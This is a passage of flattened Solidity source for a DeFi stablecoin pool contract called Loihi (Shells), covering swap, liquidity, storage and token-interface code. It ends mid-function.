Trade(address indexed trader, address indexed origin, address indexed target, uint256 originAmount, uint256 targetAmount); int128 constant ONE = 0x10000000000000000; function getOriginAndTarget ( LoihiStorage.Shell storage shell, address _o, address _t ) private view returns ( LoihiStorage.Assimilator memory, LoihiStorage.Assimilator memory ) { LoihiStorage.Assimilator memory o_ = shell.assimilators[_o]; LoihiStorage.Assimilator memory t_ = shell.assimilators[_t]; require(o_.addr != address(0), "Shell/origin-not-supported"); require(t_.addr != address(0), "Shell/target-not-supported"); return ( o_, t_ ); } function originSwap ( LoihiStorage.Shell storage shell, address _origin, address _target, uint256 _originAmount, address _recipient ) external returns ( uint256 tAmt_ ) { ( LoihiStorage.Assimilator memory _o, LoihiStorage.Assimilator memory _t ) = getOriginAndTarget(shell, _origin, _target); if (_o.ix == _t.ix) return Assimilators.outputNumeraire(_t.addr, _recipient, Assimilators.intakeRaw(_o.addr, _originAmount)); ( int128 _amt, int128 _oGLiq, int128 _nGLiq, int128[] memory _oBals, int128[] memory _nBals ) = getOriginSwapData(shell, _o.ix, _t.ix, _o.addr, _originAmount); ( _amt, shell.omega ) = ShellMath.calculateTrade(shell, _oGLiq, _nGLiq, _oBals, _nBals, _amt, _t.ix); _amt = _amt.us_mul(ONE - shell.epsilon); tAmt_ = Assimilators.outputNumeraire(_t.addr, _recipient, _amt); emit Trade(msg.sender, _origin, _target, _originAmount, tAmt_); } function viewOriginSwap ( LoihiStorage.Shell storage shell, address _origin, address _target, uint256 _originAmount ) external view returns ( uint256 tAmt_ ) { ( LoihiStorage.Assimilator memory _o, LoihiStorage.Assimilator memory _t ) = getOriginAndTarget(shell, _origin, _target); if (_o.ix == _t.ix) return Assimilators.viewRawAmount(_t.addr, Assimilators.viewNumeraireAmount(_o.addr, _originAmount)); ( int128 _amt, int128 _oGLiq, int128 _nGLiq, int128[] memory _nBals, int128[] memory _oBals ) = viewOriginSwapData(shell, _o.ix, _t.ix, _originAmount, _o.addr); ( _amt, ) = ShellMath.calculateTrade(shell, _oGLiq, _nGLiq, _oBals, _nBals, _amt, _t.ix); _amt = _amt.us_mul(ONE - shell.epsilon); tAmt_ = Assimilators.viewRawAmount(_t.addr, _amt.abs()); } function targetSwap ( LoihiStorage.Shell storage shell, address _origin, address _target, uint256 _targetAmount, address _recipient ) external returns ( uint256 oAmt_ ) { ( LoihiStorage.Assimilator memory _o, LoihiStorage.Assimilator memory _t ) = getOriginAndTarget(shell, _origin, _target); if (_o.ix == _t.ix) return Assimilators.intakeNumeraire(_o.addr, Assimilators.outputRaw(_t.addr, _recipient, _targetAmount)); ( int128 _amt, int128 _oGLiq, int128 _nGLiq, int128[] memory _oBals, int128[] memory _nBals) = getTargetSwapData(shell, _t.ix, _o.ix, _t.addr, _recipient, _targetAmount); ( _amt, shell.omega ) = ShellMath.calculateTrade(shell, _oGLiq, _nGLiq, _oBals, _nBals, _amt, _o.ix); _amt = _amt.us_mul(ONE + shell.epsilon); oAmt_ = Assimilators.intakeNumeraire(_o.addr, _amt); emit Trade(msg.sender, _origin, _target, oAmt_, _targetAmount); } function viewTargetSwap ( LoihiStorage.Shell storage shell, address _origin, address _target, uint256 _targetAmount ) external view returns ( uint256 oAmt_ ) { ( LoihiStorage.Assimilator memory _o, LoihiStorage.Assimilator memory _t ) = getOriginAndTarget(shell, _origin, _target); if (_o.ix == _t.ix) return Assimilators.viewRawAmount(_o.addr, Assimilators.viewNumeraireAmount(_t.addr, _targetAmount)); ( int128 _amt, int128 _oGLiq, int128 _nGLiq, int128[] memory _nBals, int128[] memory _oBals ) = viewTargetSwapData(shell, _t.ix, _o.ix, _targetAmount, _t.addr); ( _amt, ) = ShellMath.calculateTrade(shell, _oGLiq, _nGLiq, _oBals, _nBals, _amt, _o.ix); _amt = _amt.us_mul(ONE + shell.epsilon); oAmt_ = Assimilators.viewRawAmount(_o.addr, _amt); } function getOriginSwapData ( LoihiStorage.Shell storage shell, uint _inputIx, uint _outputIndex, address _assim, uint _amt ) private returns ( int128 amt_, int128 oGLiq_, int128 nGLiq_, int128[] memory, int128[] memory ) { uint _length = shell.assets.length; int128[] memory oBals_ = new int128[](_length); int128[] memory nBals_ = new int128[](_length); LoihiStorage.Assimilator[] memory _reserves = shell.assets; for (uint i = 0; i < _length; i++) { if (i != _inputIx) nBals_[i] = oBals_[i] = Assimilators.viewNumeraireBalance(_reserves[i].addr); else { int128 _bal; ( amt_, _bal ) = Assimilators.intakeRawAndGetBalance(_assim, _amt); oBals_[i] = _bal - amt_; nBals_[i] = _bal; } oGLiq_ += oBals_[i]; nGLiq_ += nBals_[i]; } nGLiq_ = nGLiq_.sub(amt_); nBals_[_outputIndex] = ABDKMath64x64.sub(nBals_[_outputIndex], amt_); return ( amt_, oGLiq_, nGLiq_, oBals_, nBals_ ); } function getTargetSwapData ( LoihiStorage.Shell storage shell, uint _inputIx, uint _outputIndex, address _assim, address _recipient, uint _amt ) private returns ( int128 amt_, int128 oGLiq_, int128 nGLiq_, int128[] memory, int128[] memory ) { uint _length = shell.assets.length; int128[] memory oBals_ = new int128[](_length); int128[] memory nBals_ = new int128[](_length); LoihiStorage.Assimilator[] memory _reserves = shell.assets; for (uint i = 0; i < _length; i++) { if (i != _inputIx) nBals_[i] = oBals_[i] = Assimilators.viewNumeraireBalance(_reserves[i].addr); else { int128 _bal; ( amt_, _bal ) = Assimilators.outputRawAndGetBalance(_assim, _recipient, _amt); oBals_[i] = _bal - amt_; nBals_[i] = _bal; } oGLiq_ += oBals_[i]; nGLiq_ += nBals_[i]; } nGLiq_ = nGLiq_.sub(amt_); nBals_[_outputIndex] = ABDKMath64x64.sub(nBals_[_outputIndex], amt_); return ( amt_, oGLiq_, nGLiq_, oBals_, nBals_ ); } function viewOriginSwapData ( LoihiStorage.Shell storage shell, uint _inputIx, uint _outputIndex, uint _amt, address _assim ) private view returns ( int128 amt_, int128 oGLiq_, int128 nGLiq_, int128[] memory, int128[] memory ) { uint _length = shell.assets.length; int128[] memory nBals_ = new int128[](_length); int128[] memory oBals_ = new int128[](_length); for (uint i = 0; i < _length; i++) { if (i != _inputIx) nBals_[i] = oBals_[i] = Assimilators.viewNumeraireBalance(shell.assets[i].addr); else { int128 _bal; ( amt_, _bal ) = Assimilators.viewNumeraireAmountAndBalance(_assim, _amt); oBals_[i] = _bal; nBals_[i] = _bal.add(amt_); } oGLiq_ += oBals_[i]; nGLiq_ += nBals_[i]; } nGLiq_ = nGLiq_.sub(amt_); nBals_[_outputIndex] = ABDKMath64x64.sub(nBals_[_outputIndex], amt_); return ( amt_, oGLiq_, nGLiq_, nBals_, oBals_ ); } function viewTargetSwapData ( LoihiStorage.Shell storage shell, uint _inputIx, uint _outputIndex, uint _amt, address _assim ) private view returns ( int128 amt_, int128 oGLiq_, int128 nGLiq_, int128[] memory, int128[] memory ) { uint _length = shell.assets.length; int128[] memory nBals_ = new int128[](_length); int128[] memory oBals_ = new int128[](_length); for (uint i = 0; i < _length; i++) { if (i != _inputIx) nBals_[i] = oBals_[i] = Assimilators.viewNumeraireBalance(shell.assets[i].addr); else { int128 _bal; ( amt_, _bal ) = Assimilators.viewNumeraireAmountAndBalance(_assim, _amt); amt_ = amt_.neg(); oBals_[i] = _bal; nBals_[i] = _bal.add(amt_); } oGLiq_ += oBals_[i]; nGLiq_ += nBals_[i]; } nGLiq_ = nGLiq_.sub(amt_); nBals_[_outputIndex] = ABDKMath64x64.sub(nBals_[_outputIndex], amt_); return ( amt_, oGLiq_, nGLiq_, nBals_, oBals_ ); } } ////// src/ViewLiquidity.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity ^0.5.0; */ /* import "./LoihiStorage.sol"; */ /* import "./Assimilators.sol"; */ /* import "abdk-libraries-solidity/ABDKMath64x64.sol"; */ library ViewLiquidity { using ABDKMath64x64 for int128; function viewLiquidity ( LoihiStorage.Shell storage shell ) external view returns ( uint total_, uint[] memory individual_ ) { uint _length = shell.assets.length; uint[] memory individual_ = new uint[](_length); uint total_; for (uint i = 0; i < _length; i++) { uint _liquidity = Assimilators.viewNumeraireBalance(shell.assets[i].addr).mulu(1e18); total_ += _liquidity; individual_[i] = _liquidity; } return (total_, individual_); } } ////// src/interfaces/IAToken.sol /* pragma solidity ^0.5.0; */ interface IAToken { function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function redirectInterestStream(address _to) external; function redirectInterestStreamOf(address _from, address _to) external; function allowInterestRedirectionTo(address _to) external; function redeem(uint256 _amount) external; function balanceOf(address _user) external view returns(uint256); function principalBalanceOf(address _user) external view returns(uint256); function totalSupply() external view returns(uint256); function isTransferAllowed(address _user, uint256 _amount) external view returns (bool); function getUserIndex(address _user) external view returns(uint256); function getInterestRedirectionAddress(address _user) external view returns(address); function getRedirectedBalance(address _user) external view returns(uint256); function decimals () external view returns (uint256); function deposit(uint256 _amount) external; } ////// src/interfaces/ICToken.sol /* pragma solidity ^0.5.0; */ interface ICToken { function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function getCash() external view returns (uint); function exchangeRateCurrent() external returns (uint); function exchangeRateStored() external view returns (uint); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function balanceOfUnderlying(address account) external returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } ////// src/interfaces/IChai.sol /* pragma solidity ^0.5.0; */ interface IChai { function draw(address src, uint wad) external; function exit(address src, uint wad) external; function join(address dst, uint wad) external; function dai(address usr) external returns (uint wad); function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external; function approve(address usr, uint wad) external returns (bool); function move(address src, address dst, uint wad) external returns (bool); function transfer(address dst, uint wad) external returns (bool); function transferFrom(address src, address dst, uint wad) external; function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); } ////// src/interfaces/IERC20.sol /* pragma solidity ^0.5.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// src/interfaces/IERC20NoBool.sol /* pragma solidity ^0.5.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20NoBool { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external; /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external; /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external; /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// src/interfaces/IPot.sol /* pragma solidity ^0.5.0; */ interface IPot { function rho () external returns (uint256); function drip () external returns (uint256); function chi () external view returns (uint256); } ////// src/LoihiStorage.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity ^0.5.0; */ /* import "abdk-libraries-solidity/ABDKMath64x64.sol"; */ /* import "./Orchestrator.sol"; */ /* import "./PartitionedLiquidity.sol"; */ /* import "./ProportionalLiquidity.sol"; */ /* import "./SelectiveLiquidity.sol"; */ /* import "./Shells.sol"; */ /* import "./Swaps.sol"; */ /* import "./ViewLiquidity.sol"; */ /* import "./interfaces/IERC20.sol"; */ /* import "./interfaces/IERC20NoBool.sol"; */ /* import "./interfaces/IAToken.sol"; */ /* import "./interfaces/ICToken.sol"; */ /* import "./interfaces/IChai.sol"; */ /* import "./interfaces/IPot.sol"; */ contract LoihiStorage { string public constant name = "Shells"; string public constant symbol = "SHL"; uint8 public constant decimals = 18; struct Shell { int128 alpha; int128 beta; int128 delta; int128 epsilon; int128 lambda; int128 omega; int128[] weights; uint totalSupply; mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowances; Assimilator[] assets; mapping (address => Assimilator) assimilators; } struct Assimilator { address addr; uint8 ix; } Shell public shell; struct PartitionTicket { uint[] claims; bool initialized; } mapping (address => PartitionTicket) public partitionTickets; address[] public derivatives; address[] public numeraires; address[] public reserves; bool public partitioned = false; bool public frozen = false; address public owner; bool internal notEntered = true; // uint public maxFee; } ////// src/interfaces/IFreeFromUpTo.sol /* pragma solidity ^0.5.0; */ interface IFreeFromUpTo { function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); } ////// src/Loihi.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity ^0.5.0; */ /* import "abdk-libraries-solidity/ABDKMath64x64.sol"; */ /* import "./Orchestrator.sol"; */ /* import "./PartitionedLiquidity.sol"; */ /* import "./ProportionalLiquidity.sol"; */ /* import "./SelectiveLiquidity.sol"; */ /* import "./Shells.sol"; */ /* import "./Swaps.sol"; */ /* import "./ViewLiquidity.sol"; */ /* import "./interfaces/IERC20.sol"; */ /* import "./interfaces/IERC20NoBool.sol"; */ /* import "./interfaces/IAToken.sol"; */ /* import "./interfaces/ICToken.sol"; */ /* import "./interfaces/IChai.sol"; */ /* import "./interfaces/IPot.sol"; */ /* import "./LoihiStorage.sol"; */ /* import "./interfaces/IFreeFromUpTo.sol"; */ contract Loihi is LoihiStorage { event Approval(address indexed _owner, address indexed spender, uint256 value); event ParametersSet(uint256 alpha, uint256 beta, uint256 delta, uint256 epsilon, uint256 lambda, uint256 omega); event AssetIncluded(address indexed numeraire, address indexed reserve, uint weight); event AssimilatorIncluded(address indexed derivative, address indexed numeraire, address indexed reserve, address assimilator); event PartitionRedeemed(address indexed token, address indexed redeemer, uint value); event PoolPartitioned(bool partitioned); event OwnershipTransfered(address indexed previousOwner, address indexed newOwner); event FrozenSet(bool isFrozen); event Trade(address indexed trader, address indexed origin, address indexed target, uint256 originAmount, uint256 targetAmount); event Transfer(address indexed from, address indexed to, uint256 value); IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41130); } modifier onlyOwner() { require(msg.sender == owner, "Shell/caller-is-not-owner"); _; } modifier nonReentrant() { require(notEntered, "Shell/re-entered"); notEntered = false; _; notEntered = true; } modifier transactable () { require(!frozen, "Shell/frozen-only-allowing-proportional-withdraw"); _; } modifier unpartitioned () { require(!partitioned, "Shell/pool-partitioned"); _; } modifier isPartitioned () { require(partitioned, "Shell/pool-not-partitioned"); _; } modifier deadline (uint _deadline) { require(block.timestamp < _deadline, "Shell/tx-deadline-passed"); _; } constructor ( address[] memory _assets, uint[] memory _assetWeights, address[] memory _derivativeAssimilators ) public { owner = msg.sender; emit OwnershipTransfered(address(0), msg.sender); Orchestrator.initialize( shell, numeraires, reserves, derivatives, _assets, _assetWeights, _derivativeAssimilators ); } /// @notice sets the parameters for the pool /// @param _alpha the value for alpha (halt threshold) must be less than or equal to 1 and greater than 0 /// @param _beta the value for beta must be less than alpha and greater than 0 /// @param _feeAtHalt the maximum value for the fee at the halt point /// @param _epsilon the base fee for the pool /// @param _lambda the value for lambda must be less than or equal to 1 and greater than zero function setParams ( uint _alpha, uint _beta, uint _feeAtHalt, uint _epsilon, uint _lambda ) external onlyOwner { Orchestrator.setParams(shell, _alpha, _beta, _feeAtHalt, _epsilon, _lambda); } /// @notice excludes an assimilator from the shell /// @param _assimilator the address of the assimilator to exclude function excludeAssimilator ( address _assimilator ) external onlyOwner { delete shell.assimilators[_assimilator]; } /// @notice view the current parameters of the shell /// @return alpha_ the current alpha value /// @return beta_ the current beta value /// @return delta_ the current delta value /// @return epsilon_ the current epsilon value /// @return lambda_ the current lambda value /// @return omega_ the current omega value function viewShell () external view returns ( uint alpha_, uint beta_, uint delta_, uint epsilon_, uint lambda_, uint omega_ ) { return Orchestrator.viewShell(shell); } function setFrozen (bool _toFreezeOrNotToFreeze) external onlyOwner { emit FrozenSet(_toFreezeOrNotToFreeze); frozen = _toFreezeOrNotToFreeze; } function transferOwnership (address _newOwner) external onlyOwner { emit OwnershipTransfered(owner, _newOwner); owner = _newOwner; } /// @author james foley https://github.com/realisation /// @notice reset omega in the case someone has sent tokens directly to the pool function prime () external { Orchestrator.prime(shell); } /// @author james foley http://github.com/realisation /// @notice swap a dynamic origin amount for a fixed target amount /// @param _origin the address of the origin /// @param _target the address of the target /// @param _originAmount the origin amount /// @param _minTargetAmount the minimum target amount /// @param _deadline deadline in block number after which the trade will not execute /// @return targetAmount_ the amount of target that has been swapped for the origin amount function originSwap ( address _origin, address _target, uint _originAmount, uint _minTargetAmount, uint _deadline ) external deadline(_deadline) transactable nonReentrant returns ( uint targetAmount_ ) { targetAmount_ = Swaps.originSwap(shell, _origin, _target, _originAmount, msg.sender); require(targetAmount_ > _minTargetAmount, "Shell/below-min-target-amount"); } function originSwapDiscountCHI ( address _origin, address _target, uint _originAmount, uint _minTargetAmount, uint _deadline ) external deadline(_deadline) transactable nonReentrant discountCHI returns ( uint targetAmount_ ) { targetAmount_ = Swaps.originSwap(shell, _origin, _target, _originAmount, msg.sender); require(targetAmount_ > _minTargetAmount, "Shell/below-min-target-amount"); } /// @author james foley http://github.com/realisation /// @notice view how much target amount a fixed origin amount will swap for /// @param _origin the address of the origin /// @param _target the address of the target /// @param _originAmount the origin amount /// @return targetAmount_ the target amount that would have been swapped for the origin amount function viewOriginSwap ( address _origin, address _target, uint _originAmount ) external view transactable returns ( uint targetAmount_ ) { targetAmount_ = Swaps.viewOriginSwap(shell, _origin, _target, _originAmount); } /// @author james foley http://github.com/realisation /// @notice swap a dynamic origin amount for a fixed target amount /// @param _origin the address of the origin /// @param _target the address of the target /// @param _maxOriginAmount the maximum origin amount /// @param _targetAmount the target amount /// @param _deadline deadline in block number after which the trade will not execute /// @return originAmount_ the amount of origin that has been swapped for the target function targetSwap ( address _origin, address _target, uint _maxOriginAmount, uint _targetAmount, uint _deadline ) external deadline(_deadline) transactable nonReentrant returns ( uint originAmount_ ) { originAmount_ = Swaps.targetSwap(shell, _origin, _target, _targetAmount, msg.sender); require(originAmount_ < _maxOriginAmount, "Shell/above-max-origin-amount"); } /// @author james foley http://github.com/realisation /// @notice view how much of the origin currency the target currency will take /// @param _origin the address of the origin /// @param _target the address of the target /// @param _targetAmount the target amount /// @return originAmount_ the amount of target that has been swapped for the origin function viewTargetSwap ( address _origin, address _target, uint _targetAmount ) external view transactable returns ( uint originAmount_ ) { originAmount_ = Swaps.viewTargetSwap(shell, _origin, _target, _targetAmount); } /// @author james foley http://github.com/realisation /// @notice selectively deposit any supported stablecoin flavor into the contract in return for corresponding amount of shell tokens /// @param _derivatives an array containing the addresses of the flavors being deposited into /// @param _amounts an array containing the values of the flavors you wish to deposit into the contract. each amount should have the same index as the flavor it is meant to deposit /// @param _minShells minimum acceptable amount of shells /// @param _deadline deadline for tx /// @return shellsToMint_ the amount of shells to mint for the deposited stablecoin flavors function selectiveDeposit ( address[] calldata _derivatives, uint[] calldata _amounts, uint _minShells, uint _deadline ) external deadline(_deadline) transactable nonReentrant returns ( uint shellsMinted_ ) { shellsMinted_ = SelectiveLiquidity.selectiveDeposit(shell, _derivatives, _amounts, _minShells); } /// @author james folew http://github.com/realisation /// @notice view how many shell tokens a deposit will mint /// @param _derivatives an array containing the addresses of the flavors being deposited into /// @param _amounts an array containing the values of the flavors you wish to deposit into the contract. each amount should have the same index as the flavor it is meant to deposit /// @return shellsToMint_ the amount of shells to mint for the deposited stablecoin flavors function viewSelectiveDeposit ( address[] calldata _derivatives, uint[] calldata _amounts ) external view transactable returns ( uint shellsToMint_ ) { shellsToMint_ = SelectiveLiquidity.viewSelectiveDeposit(shell, _derivatives, _amounts); } /// @author james foley http://github.com/realisation /// @notice deposit into the pool with no slippage from the numeraire assets the pool supports /// @param _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst the numeraire assets of the pool /// @return shellsToMint_ the amount of shells you receive in return for your deposit /// @return deposits_ the amount deposited for each numeraire function proportionalDeposit ( uint _deposit, uint _deadline ) external deadline(_deadline) transactable nonReentrant returns ( uint shellsMinted_, uint[] memory deposits_ ) { return ProportionalLiquidity.proportionalDeposit(shell, _deposit); } /// @author james foley http://github.com/realisation /// @notice view deposits and shells minted a given deposit would return /// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the prevailing proportions of the numeraire assets of the pool /// @return shellsToMint_ the amount of shells you receive in return for your deposit /// @return deposits_ the amount deposited for each numeraire function viewProportionalDeposit ( uint _deposit ) external view transactable returns ( uint shellsToMint_, uint[] memory depositsToMake_ ) { return ProportionalLiquidity.viewProportionalDeposit(shell, _deposit); } /// @author james foley http://github.com/realisation /// @notice selectively withdrawal any supported stablecoin flavor from the contract by burning a corresponding amount of shell tokens /// @param _derivatives an array of flavors to withdraw from the reserves /// @param _amounts an array of amounts to withdraw that maps to _flavors /// @param _maxShells the maximum amount of shells you want to burn /// @param _deadline timestamp after which the transaction is no longer valid /// @return shellsBurned_ the corresponding amount of shell tokens to withdraw the specified amount of specified flavors function selectiveWithdraw ( address[] calldata _derivatives, uint[] calldata _amounts, uint _maxShells, uint _deadline ) external deadline(_deadline) transactable nonReentrant returns ( uint shellsBurned_ ) { shellsBurned_ = SelectiveLiquidity.selectiveWithdraw(shell, _derivatives, _amounts, _maxShells); } /// @author james foley http://github.com/realisation /// @notice view how many shell tokens a withdraw will consume /// @param _derivatives an array of flavors to withdraw from the reserves /// @param _amounts an array of amounts to withdraw that maps to _flavors /// @return shellsBurned_ the corresponding amount of shell tokens to withdraw the specified amount of specified flavors function viewSelectiveWithdraw ( address[] calldata _derivatives, uint[] calldata _amounts ) external view transactable returns ( uint shellsToBurn_ ) { shellsToBurn_ = SelectiveLiquidity.viewSelectiveWithdraw(shell, _derivatives, _amounts); } /// @author james foley http://github.com/realisation /// @notice withdrawas amount of shell tokens from the the pool equally from the numeraire assets of the pool with no slippage /// @param _shellsToBurn the full amount you want to withdraw from the pool which will be withdrawn from evenly amongst the numeraire assets of the pool /// @return withdrawals_ the amonts of numeraire assets withdrawn from the pool function proportionalWithdraw ( uint _shellsToBurn, uint _deadline ) external deadline(_deadline) unpartitioned nonReentrant returns ( uint[] memory withdrawals_ ) { return ProportionalLiquidity.proportionalWithdraw(shell, _shellsToBurn); } function supportsInterface ( bytes4 _interface ) public view returns ( bool supports_ ) { supports_ = this.supportsInterface.selector == _interface // erc165 || bytes4(0x7f5828d0) == _interface // eip173 || bytes4(0x36372b07) == _interface; // erc20 } /// @author james foley http://github.com/realisation /// @notice withdrawals amount of shell tokens from the the pool equally from the numeraire assets of the pool with no slippage /// @param _shellsToBurn the full amount you want to withdraw from the pool which will be withdrawn from evenly amongst the numeraire assets of the pool /// @return withdrawalsToHappen_ the amonts of numeraire assets withdrawn from the pool function viewProportionalWithdraw ( uint _shellsToBurn ) external view unpartitioned returns ( uint[] memory withdrawalsToHappen_ ) { return ProportionalLiquidity.viewProportionalWithdraw(shell, _shellsToBurn); } function partition () external onlyOwner { require(frozen, "Shell/must-be-frozen"); PartitionedLiquidity.partition(shell, partitionTickets); partitioned = true; } /// @author james foley http://github.com/realisation /// @notice withdraws amount of shell tokens from the the pool equally from the numeraire assets of the pool with no slippage /// @param _tokens an array of the numeraire assets you will withdraw /// @param _amounts an array of the amounts in terms of partitioned shels you want to withdraw from that numeraire partition /// @return withdrawals_ the amounts of the numeraire assets withdrawn function partitionedWithdraw ( address[] calldata _tokens, uint256[] calldata _amounts ) external isPartitioned returns ( uint256[] memory withdrawals_ ) { return PartitionedLiquidity.partitionedWithdraw(shell, partitionTickets, _tokens, _amounts); } /// @author james foley http://github.com/realisation /// @notice views the balance of the users partition ticket /// @param _addr the address whose balances in partitioned shells to be seen /// @return claims_ the remaining claims in terms of partitioned shells the address has in its partition ticket function viewPartitionClaims ( address _addr ) external view isPartitioned returns ( uint[] memory claims_ ) { return PartitionedLiquidity.viewPartitionClaims(shell, partitionTickets, _addr); } /// @notice transfers shell tokens /// @param _recipient the address of where to send the shell tokens /// @param _amount the amount of shell tokens to send /// @return success_ the success bool of the call function transfer ( address _recipient, uint _amount ) public nonReentrant returns ( bool success_ ) { success_ = Shells.transfer(shell, _recipient, _amount); } /// @notice transfers shell tokens from one address to another address /// @param _sender the account from which the shell tokens will be sent /// @param _recipient the account to which the shell tokens will be sent /// @param _amount the amount of shell tokens to transfer /// @return success_ the success bool of the call function transferFrom ( address _sender, address _recipient, uint _amount ) public nonReentrant returns ( bool success_ ) { success_ = Shells.transferFrom(shell, _sender, _recipient, _amount); } /// @notice approves a user to spend shell tokens on their behalf /// @param _spender the account to allow to spend from msg.sender /// @param _amount the amount to specify the spender can spend /// @return success_ the success bool of this call function approve (address _spender, uint _amount) public nonReentrant returns (bool success_) { success_ = Shells.approve(shell, _spender, _amount); } /// @notice view the shell token balance of a given account /// @param _account the account to view the balance of /// @return balance_ the shell token ballance of the given account function balanceOf ( address _account ) public view returns ( uint balance_ ) { balance_ = shell.balances[_account]; } /// @notice views the total shell supply of the pool /// @return totalSupply_ the total supply of shell tokens function totalSupply () public view returns (uint totalSupply_) { totalSupply_ = shell.totalSupply; } /// @notice views the total allowance one address has to spend from another address /// @param _owner the address of the owner /// @param _spender the address of the spender /// @return allowance_ the amount the owner has allotted the spender function allowance ( address _owner, address _spender ) public view returns ( uint allowance_ ) { allowance_ = shell.allowances[_owner][_spender]; } /// @notice views the total amount of liquidity in the shell in numeraire value and format - 18 decimals /// @return total_ the total value in the shell /// @return individual_ the individual values in the shell function liquidity () public view returns ( uint total_, uint[] memory individual_ ) { return 